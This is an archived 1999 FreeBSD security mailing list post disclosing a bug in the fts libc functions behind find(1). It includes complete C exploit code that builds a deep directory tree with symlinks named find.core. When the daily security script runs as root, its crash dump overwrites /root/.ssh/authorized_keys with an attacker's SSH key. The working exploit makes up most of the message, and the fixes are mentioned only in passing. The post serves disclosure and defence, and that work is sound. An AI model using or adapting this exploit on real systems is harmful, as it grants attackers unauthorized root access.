Re: RE: fts_print() , find and other stuff ?

[venglin () FREEBSD LUBLIN PL (Przemyslaw Frasunek)]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----FW: <XFMail.990825091318.venglin () FreeBSD lublin pl>-----

Date: Wed, 25 Aug 1999 09:13:18 +0200 (CEST)
Sender: owner-freebsd-security () FreeBSD ORG
From: Przemyslaw Frasunek <venglin () FreeBSD lublin pl>
To: Rafal Banaszkiewicz <raf () tb-303 org>
Subject: RE: fts_print() , find and other stuff ?
Cc: freebsd-security () freebsd org

On 24-Aug-99 Rafal Banaszkiewicz wrote:

>       One of my friends has written sploit code for this bug ? It's old
> bug ... and it's still not fixed .

 Yes, this bug is quite easy to exploit. Find(1) runs every day from
 /etc/security script. It segfaults, when directory tree is _very_ long, because
 of junk pointer to directory name.

 Core is created in one of directories from our tree. But if find.core already
 exists, it's overwritten. It's possible to create symlink from eg.
 master.passwd or something else to find.core, and this file will be
 overwritten.

 Sample code below.

 BTW. Sorry for my poor English.

/*

 (c) 1999 babcia padlina ltd. <babunia () FreeBSD lublin pl>

 bug in fts libc functions allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).

 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd

 fix:
   - limit root's coredump size
   - patch libc

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;

        if (chdir(dir))
                return -1;

        if (symlink(linkfrom, linkto) < 0)
                return -1;

        return 0;
}

int main(void)
{
        int i = 0;
        char pid[10], buf[BUFSIZE];

        sprintf(pid, "%d", getpid());

        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }

        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }

        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);

        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }

                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }

        return 0;
}

- --------------End of forwarded message-------------------------

- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
* Inet: venglin () FreeBSD lublin pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBN8OcA/6SPyHAYTvjEQLrywCfd5hMX9Cak+W1SuW7o4oA4o/RUPoAoJDC
8PVlnVtNw9p7rTmtBtTL3uC4
=P88V
-----END PGP SIGNATURE-----